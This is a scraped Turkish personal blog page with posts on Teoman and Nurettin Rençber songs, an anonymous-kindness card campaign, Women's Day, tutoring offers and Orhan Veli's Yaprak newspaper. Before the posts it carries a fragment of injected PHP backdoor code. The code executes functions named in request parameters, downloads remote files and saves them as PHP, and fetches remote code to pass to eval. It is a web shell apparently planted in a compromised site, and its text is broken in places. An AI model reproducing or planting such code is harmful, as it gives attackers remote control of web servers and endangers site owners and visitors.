(strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false); ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ogin', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo ""; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}} if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['2033e5d5afb66d8eb6cf1954962ba1b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
“Nietzsche mutluluktan ağlamadı. ”
Hayatıma yön veren şarkılara yine Teoman’dan yazmak istiyorum bugün.. Yalanlar üzerine yazılmış en gerçek sözleri barındıran bir şarkı.. Bazı yalanlar..
Yazıyı uzatmadan aşağıdaki linkten şarkıyı dinleyelim önce bir..
Sözlerini de yazalım tam olsun.
yorgun görünüyorsun, biraz uzan istersen
sever gibi yapma artik
daha henüz vakit varken
bir kaç yarali ruh
bir kaç bira sisesi
elimizde bunlar var
mutlu olmaya yetmez ki ask
yalanlarimiz güzel, inanmasi zevkli
birsey sevmeye degerse,
ölmeye de deger mi?
bir kaç uyku hapi
bir kaç kiskançlik krizi
elimizde bunlar var
mutlu olmaya yetmez ki
bazi yalanlar güzel
bazi gerçekler aciymis
bazi ölümler uzun
bütün hayatlar kisaymis
çalismis, kaybetmis, kosmus, yorulmustuk
birbirimize içmeden dokunamaz olmustuk
bir kaç kalp agrisi
bir kaç imdat çagrisi
elimizde bunlar var
mutlu olmaya yetmez ki ask…
Aslında Teoman haklıdır. Yorgunsunuzdur, biraz oturup dinlensen geçecektir belki ama mutluluk terazisinin yalanlar kefesi artık daha ağır basmaktadır. Yalanlara inanmak doğrulara inanmaktan çok daha kolay ve zevkli gelir.
Neyi sevdiğinizi sorgularsınız. Sevdiğiniz dün mü, bugün mü, yarın mı? Sever gibi yapsanız da bugünü sevmiyor olabilirsiniz. Dünden kalma bir kaç hatıra yarına umut olmaya çalışır sadece.
Aslında kızsanız da sizi tek teselli eden bir kaç kıskançlık krizidir.. Bir de ruhunuzu uyuşturan maddeler.
Ama yetmez.. Bazı yalanlar ne kadar güzel olursa olsun mutlu olmaya yetmez..
Teoman’a da bu güzel şarkı için teşekkürler.. .)
Read MoreYaklaşık 15 gün önce Tunç Kılınç yine “fikir atölyesi” isminin hakkını veren bir zincir iyilik hareketi başlattı. Hareketin adı “Faili Meçhul Kıyak”. Ana biz ona kısaca FMK diyoruz =)
Nedir bu FMK ? Hareketin simgesi şu kart:

Karttan da anlaşılabileceği gibi amaç insanları herhangi bir şekilde gülümsetmek. Ama anahtar nokta şu ki, kim olduğunuzu belli etmiyorsunuz. Yani kıyağın faili meçhul oluyor. Ve yaptığın kıyak ne şekilde olursa olsun bu kartı kıyak ile birlikte o şanslı insana ulaştırıyorsun. Ve uzak bir köşeden o insanın yüzündeki gülümsemeyi görüp görevin başarı ile tamamlandığını anlıyoruz =) Dediğimiz gibi amaç gülümsetmek.
Hiç de küçümsenecek bir olay da değil hani. 2 hafta önce google’da tek bir sonuç bile vermezken bu kelimeler an itibariyle 25.700 sonuç veriyor. Ve hızla büyümeye devam ediyor. İyilik yapanlar Tunç’un sayfasında yaptıklarını yazıyor.
Yapılabilecek kıyaklardan bir kaç tanesini şöyle yazmış Tunç:
- Köprü gişesinde arkadaki arabanın parasını vermek ve hızla uzaklaşmak. Gişe görevlisinden kartı arkadaki arabanın şöförüne vermesini rica ediyoruz.
- Yaz sıcağında kalabalık bir belediye otobüsünün içinde buz gibi bir kasa kolayı unutmak (kartlar kolalara iliştirilmiş.)
- Uzun yıllar bakımsız kalan bir mezarı temizlemek ve çiçek dikmek. Kartı mezara bırakıyoruz. Oradan geçen birilerinin belki dikkatini çeker.
- Karta ataçlanmış 10 TL’lik bir banknotu yolda düşürmek.
- Birinin posta kutusuna gelen elektrik veya su faturasını alıp, ödemek. Sonrasında faturayı makbuz ve kartla beraber posta kutusuna geri koymak.
- Haftalardır pis kalmış bir arabayı gece yıkamak ve sonrasında kartı sileceğe iliştirmek.
- Vapur iskelesinde veya metroda turnikelerden birinin üstüne karta ataçlanmış bir jeton bırakmak.
- Sipariş verdiğimiz (bir alana ikincisi bedava) pizzayı komşumuzun zilini çalarak kapısına bırakıp kaçmak (kart pizza kutusunun içinde.)
- Apartmanda kapı önlerine konan çöp torbalarını kapıcıdan önce toplamak ve kartı kapıcının oturduğu evin kapısının altından içeri atmak.
- Görme engelli bir kişiye, yolda ona etrafındakileri anlatarak yardımcı olmak. [Bunu Amelie filminde gördüm!] Kartı o kişinin cebine atıyoruz. Belki bir yakını bulup okur sonradan ona.
- Desteğe muhtaç (lösemili çocuklar gibi) bir derneğin kapısına sabaha karşı içi oyuncak dolu bir sandık bırakmak (kart sandığın içinde.)
- Otomat, ankösörlü telefon veya atari salonlarındaki oyunlara karta ataçlanmış bir jeton bırakmak.
- Bakımsız bir bahçeyi tertemiz yapıp ortasına iki çiçek dikmek ve kartı sonradan çiçeğe bağlamak.
Maddi durumunuzun paralı bir kıyak yapmaya elverişli olmaması da sizi durdurmamalı. Ben mesela daha önce okuduğum bir kitabın kapağına bu kartı ataçlayıp Orhan Veli Şiir Evi’nde yan masaya bıraktım. Biraz sonra gelen üç arkadaş kitabın üstündeki kartı gördüklerinde çok güldüler ama inanamadılar. Görevliye sordular, bu nedir diye. Onun da haberi yoktu, kartı görünce o da kocaman gülümsedi.. Tek kart ile bir kerede 4 kişilik bir gülümseme zinciri oluşturdum. Tabii ki benim gülümsemem de apayrıydı. =)
Bir kıyak da okulun yemekhanesi’nde yaptım. Görevliyi zor ikna etsem de öğrencilerin içeri alınma saatinden biraz daha önce girdim. Tam kapılar açılmadan önce giriş turnikesinde kendi kartımı okuttum ve kart okutulan yerin üstüne FMK kartını bıraktım. Ben de hemen yan tarafa çekilip kola dolabından kendime kola alıyormuş gibi yaparak turnikeye gelecek ilk kişiyi bekledim. Yine kartı gören insan büyük bir neşeyle hemen arkadaşlarına döndü ve gülüştüler. Sonra ben de içeriye girdim. Ben girdiğimde arkadaşlar masaya oturmuş, yemeğe başlamışlardı ama kıyağı yaptığım arkadaşın elinde hala bu kart vardı ve bunun muhabbeti dönüyordu.. =)
Sizi gülümsetebildiysem ne mutlu =)
Siz de Faili Meçhul Kıyakçılardan olmak istiyorsanız bu linkteki resmin ya da bu linkteki word dosyasının çıktısını alıp kartlarınızı hazırlayın.
Read More“Küresel ısınmaya karşı duygusal soğuma.”
Bazen bir cümle cilt cilt kitabın anlatamadığını anlatır ya, öyle bir cümle bu.
Nurettin Rençber’i tanımazdım. Bir kaç ay önce devlet yurdunda kalırken oda arkadaşım dinletmişti ilk. Ondan hatıradır bana. Yeni albüm çıkardığını gördüm, merak edip indirdim. Bir şarkı var ki albümde sözleri günümüz dünyasını çok acı bir şekilde anlatıyor. Bir çok kişi sordu bana blogu değiştirdiğimde “Kimlerden olmayacağız?” diye. İşte bir tanesi bu şarkıda anlatılıyor. Şarkının adı Kirli ve Mavi.
Sözlerini dikkatlice okuyun, defalarca okuyun.. Gerçekten çok güzel sözler:
Bir bakış fırlattı Dünya, kirli ve mavi
Irmaklar kuruyup göller çekiliyorken.
Mikroorganizma, virüs, bakteri derken
Yaşam yavaş yavaş kaydı ellerimizden.Bir fabrika daha yapalım, biraz daha kar
Hayatımızda üç beş türün ne önemi var?
Küresel ısınmaya karşı duygusal soğuma
Nasıl olsa her musibetin bir çaresi var.Nehiler ile kardeş idik ağaçlarla dost
Işıltılı derelerde parlardı taşlar.
Şimdi sessiz ormanlarda göz yaşı döker
Bir zamanlar bin neşeyle ötüşen kuşlar.Bir fabrika daha yapalım, iki nükleer santral
Hayatımızda üç beş türün ne önemi var.
Küresel ısınmaya karşı duygusal soğuma
Nasıl olsa her musibetin bir çaresi var.
Bilmiyorum ki daha ne söylenir. Söyleyecek üç beş kelimesi olan yazsın. Bu şarkı ve bu yazı da insanlığımızı unutturanlara selam olsun. Hatta bir mim başlatalım, blogcular da küresel ısınsın. Ben mim’i wolkanca‘ya ve yalnızlık okulunun müdürü Erdem‘e gönderiyorum. Bakalım onlar neler yazacak küresel ısınma hakkında.
Read More“Analardır adam eden adamı
Aydınlıklardır önümüzde gider.
Sizi de bir ana doğurmadı mı?
Analara kıymayın efendiler.”
Böyle demiş Nazım Hikmet.. Şiirle giriş yapalım dedim yazıya.. Çok etkiliyor bu mısralar beni.. Sahi, yoksa seni bir ana doğurmadı mı?
Nasıl olur da “No Woman, No Cry” gibi “Hayır, kadınım ağlama.” anlamına gelen sözleri “Kadın yok, ağlamak yok.” şeklinde yorumlayarak kadınlara yazılmış en güzel şarkılardan bir tanesini nasıl basit düşüncelerine alet edersin. Ama üzülme, suçun hepsi senin değil.. Milyonların hayran olduğu bir pop star sırtında “No Woman, No Cry” yazılı bir gömlek giyip bu mesajı verir, medya da bunu haftalarca yanlış şekilde sana gösterirse sen nereden bileceksin ki bunu?
Yaşar Kurt’tan bir şeyler geldi şimdi de aklıma. Şöyle diyor Korku isimli şarkısında:
Kapat televizyonu anne.
Seni de kandırıyorlar.
Kanmayın.. Renklere aldanmayın.. Kadınsız olur mu hiç? Neyse konuyu çok dağıtmak istemiyorum.. Kendinizi onların yerine koyun. Şu videodaki gibi:
Kadınlar için yazılmış ve beni en çok etkileyen şarkılardan bir tanesi de Ünzile. Sözleri yurdumuzda bir çok kadının maalesef ortak kaderi.
Sezan Aksu’dan geliyor şarkımız:
Sözleri de şöyle:
“Ünzile insan dölü
on kardeş beşi ölü
büyüdükçe unufak
ve gelir de görücü
inci gibi dişi
görücü bilir işi
söğüdüm ağlar gider
olur hatun kişivarmadan sekizine
ergin oldu ünzile
hem çocuk hem de kadın
onikisinde ana
bir gül gibi al ve narin
bir su gibi saydam ve sakin
susar kadın ünzileyağmuru kim döküyor
ünzile kaç koyun ediyor
dayaktan uslanalı
hiçbir şey sormuyorkorkar durur gitmez
köyün en son çitine
inanır o sınırda
dünyanın bittiğineÜnzile insan dölü
bilinmezlere gebe
sırların mihnetini
yükleyip de belinevarmadan sekizine
ergin oldu ünzile
hem kadın hem de çocuk
onikisinde ana
bir gül gibi al ve narin
bir su gibi saydam ve sakin
susar kadın ünzile.”
Siz Ünzile gibi susmayın. Ünzile’nin susmama hakkı yoktu. Ama siz bu yazıyı okuduğunuza göre internete girecek kadar özgürsünüz. O zaman susmayın!
Aklıma komik bir anım geldi. Lise 1′deyken ben, yine kadınlar günü gelmişti ve ben okul panosuna asılması için kadınlar günü hakkında bir yazı yazmıştım. Ergenlikten olsa gerek, çok daha sivri uçlu bir yazıydı o. Bir kadın öğretmen tarafından sansürlendi yazım. Belli bölümler belli kişilerin hoşuna gitmezmiş.
Ben kadınlar için özgürlükten bahsediyorum, 15 yaşındayım. Kadın kendi özgürlüğünü kısıtlıyor 45 yaşında. Ünzile olmamak elindeyken oluyor.. Siz Ünzile olmayın ve Ünzilelerin, Güldünya’ların çoğalmasına izin vermeyin.
Yazıyı yazmaya başlamadan önce kadınlar hakkında yazılar şarkıları falan araştırıyordum. Bob Marley’in No Woman, No Cry’ına eş değer, benzer sözlere sahip bir şarkı keşfettim. Ama sonuna kadar güzel ülkemizin kültürüne bezenmiş bir şekilde tabii ki. Yoksa şarkı çalıntı falan demek gibi bir anlam çıkartılmasın. Şarkı şu:
Ne ağlarsın benim zülfü siyahım
Bu da gelir bu da geçer ağlama
Göklere erişti feryadım ahım
Bu da gelir bu da geçer ağlama.
Hayır.. Ağlamayın kadınlar. Hayır.. Susmayın kadınlar. Sizsiniz bizi de adam eden. İstanbul’u benzettiğimiz sizsiniz. Dolunayı benzettiğimiz sizsiniz. Çiçekleri benzettiğimiz sizsiniz. Cinsiyeti olmadığı bilinen melekleri bile kadına benzetiriz. Bütün güzellikleri benzettiğimiz sizsiniz. Hatta güzel sıfatı da erkeğe değil kadına yakıştırılmış; çünkü güzel sizsiniz.
Kuzeyde, Güneyde, Doğuda, Batıda, Irak’ta, Filistin’de, Afganistan’da, her yerde.. 8 Mart Dünya Kadınlar Gününüz mutluluklara vesile olsun..
Read MoreBlogu eskiden beri takip edenler bilecektir ki bu blogu yazmaya ben ÖSS ile başladım, ÖSS 2008′e Doğru dedim ve ÖSS günlüğü tuttum. Geçenlerde bu yazdıklarımı değerlendirdiğim, yanlışlarımı – doğrularımı, yapmam gerekenleri belirlediğim ÖSS hakkında bir kitap yazmaya başladım. Sonda şurdaki yazımda da bahsettiğim gibi:
Zaman kötü.. Kriz mriz var.. Her şey istediğiniz gibi gitmeyebiliyor bazen.. Benim gibi evden para almadan İstanbul gibi bir şehirde okumaya / yaşamaya çalışıyorsanız hele daha da kötü olabiliyor zaman. İnsan okurken aynı anda da çalışmak zorunda kalabiliyor. Bende şansımı keyif alacağım bir işten yana kullanayım dedim ve Matematik dersi vermeye bir de Öğrenci Koçu olmaya karar verdim.
olayları ortaya çıktı.
Zaten şu anda kendilerine koçluk yaptığım ama yakın arkadaş olduğumdan para muhabbetine hiç girmediğim bir kaç insan var.. Dedim ki ben bu işi yapabiliyorum, o zaman ben bu koçluk işini ihtiyacı olanlara haftalık 20 lira gibi uygun bir fiyata yapayım.
Ve yine afişimi hazırlayıp astım İstanbul’daki bir çok elektrik direğine, duvara..

ÖSS’nin ne kadar kötü bir süreç olduğunu hiçbir öğretmen bilemez, çünkü hiçbiri şu anki haliyle ÖSS’ye girmedi. Ben ÖSS’yi yeni atlatmış ve bu süreci gün gün not almış biri olarak karşınıza çıkacak zorlukları engelleri size önceden söyleyebilirim.
Sınava kısa bir süre kaldı, evet.. Sürelerin en güzeli ama, bana öss’yi kazandıran süre burdan sonrasıydı. Doğru yönlendirme ve motivasyon gerçekten önemli.
ÖSS’yi şansa bırakmamak, seneye yeni bir hayata başlamak yerine bir sene daha aynı soruları çözmeye devam etmemek için böylebir yardımın gerçekten önemli olduğunu düşünüyorum. Haftalık 20 lira da bunun için oldukça uygun bir fiyat.
Peki ne yapacak bu öğrenci koçu?
Öncelikle sizi tanıyacağım, derslerde ne durumda olduğunu ayrıntıyla öğreneceğim. Sonra birlikte sana uygun bir çalışma programı belirleyeceğiz. Bilin ki kesinlikle dershanede hocanızın bütün öğrencilere yaptığı bir birinin kopyası programlardan olmayacak. Proragmın merkezinde siz olacaksınız. Bu programın uygulanıp uygulanmadığını takip edeceğim. Haftalık ilerlemelerinizi rapor halinde tekrar size sunacağım. Ve -benim için en önemli kısım burasıdır- motivasyonunuzu her zaman yüksek tutmak için çalışacağım, umutsuzluğu beraber yok edeceğiz.
Daha önümüzde 3 ay var. Hiçbir şey için geç değil..
Siz öss girmiyor olabilirsiniz, çevrenizde giren varsa bu durumdan haberdar ederseniz çok mutlu olurum.
Read MoreZaman kötü.. Kriz mriz var.. Her şey istediğiniz gibi gitmeyebiliyor bazen.. Benim gibi evden para almadan İstanbul gibi bir şehirde okumaya / yaşamaya çalışıyorsanız hele daha da kötü olabiliyor zaman. İnsan okurken aynı anda da çalışmak zorunda kalabiliyor. Bende şansımı keyif alacağım bir işten yana kullanayım dedim ve Matematik dersi vermeye bir de Öğrenci Koçu olmaya karar verdim.
Hatta afiş falan hazırladım kendime, astım bir çok duvara.. Bir de buradan duyurayım dedim, belki derse ihtiyacı olan birileri vardır.

Öncelikle belirtmek isterim ki bu SBS Matematik dersi konusunda tecrübesiz değilim. Kardeşim de SBS’ye hazırlanıyor ve ona anlamadığı konuları her zaman anlatırım. Konu anlatımlarım işine yaramış olacak ki kardeşim SBS’de matematikten tek 1 yanlış yaptı.
Sizin de çevrenizde matematik’ten özel derse ihtiyacı olan tanıdıklarınız varsa benden bahsederseniz memnun olurum. Özel ders ücretini saati 10 lira olarak belirledim. Diğer fiyatlara göre gayet uygun..
Yararlı olabileceğimden eminim..
Orhan Veli’nin çıkardığı Yaprak Gazetesi’ni duyanlarınız vardır. 01 Ocak 1949 yılında çıkartılıyor ilk sayısı. Yani tam 60 yıllık gazete. Geçende gittigidiyor.com’da karşıma çıktı. Hayır sever bir vatandaş olduğunu tahmin ettiğim biri bu gazetelerden 13′tanesini inanılamayacak bir fiyata satıyordu. Ne zamandır pahalı olduğu için alamadığım bu gazeteleri bulmuşum, kaçırır mıyım hiç. Sıkı bir açık arttırma stratejisi ile aldım gazeteleri.

Aldım ama ne ile karşılacağımı da tam olarak bilmiyorum. Bir-iki gün sonra geldi gazeteler. Yıllanmış kitap tutkusu bende inanılmaz. 45 yaşında bir 35 yaş kitabım var mesela
ya da 35 yaş’tan da yaşlı ya da o civarda bir çok kitap. Ama bu gazeteler hem en eskisi, hem de en güzeli. Her zaman olduğu gibi açar açmaz pakedi ilk işim derin derin koklamak oldu o yıllanmış kağıt kokusunu. Sonra göz gezdirmeye başladım dergilerin üzerinde.
Dergi açıklaması şöyle;
Her ayın biriyle onbeişnde çıkar.
F i k i r, S a n a t G a z e t e s iSahibi ve yazı işlerini fiilen idare
eden : Orhan Veli KANIKYıl: 1 Sayı:2
15 Ocak 194915 Kuruş
Abone: 6 aylığı 150 Kuruş
Adres: Posta Kutusu 179, Ankara
Arbas Basımevi - A n k a r a
Fikir, Sanat gazetesi.. Bu size ne çağrıştırır bilmiyorum.. Ama bu dergiyi okumadıysanız emin olun ki daha önce Fikir, Sanat gazetesi, dergisi okumadınız.
Dergide yer alan isimleri kısaca yazıyorum. Siz düşünün yer yüzünden bu kadar büyük insanlar yan yana bir daha gelebilir mi?
Orhan Veli, Melih Cevdet, Oktay Rıfat, Sait Faik, Orhan Kemal, Cahit Sıtkı Tarancı, Ahmet Muhip Dıranas, Necati Cumalı, Erol Güney, Sabahattin Eyüboğlu ve daha bir çok isim.
Şu anda hangi gazetede, hangi dergide böyle isimler bir arada yazıyor? Ya da şu anda toplasanız bu kadar büyük isim sayabilir misiniz? Bunların hepsi aynı gazetede yazıyor, düşünebiliyor musunuz?
Daha güzel bir gazete ne olmuştur ne de olacaktır.
Bende bundan böyle sizlere her ayın biriyle onbeşinde elimdeki bu dergilerden derleme bir yaz sunacağım. Bu derginin unutulmasına izin vermek benim için insanlık suçu gibi bir şey olur sanırım.
Read More
Buralardayım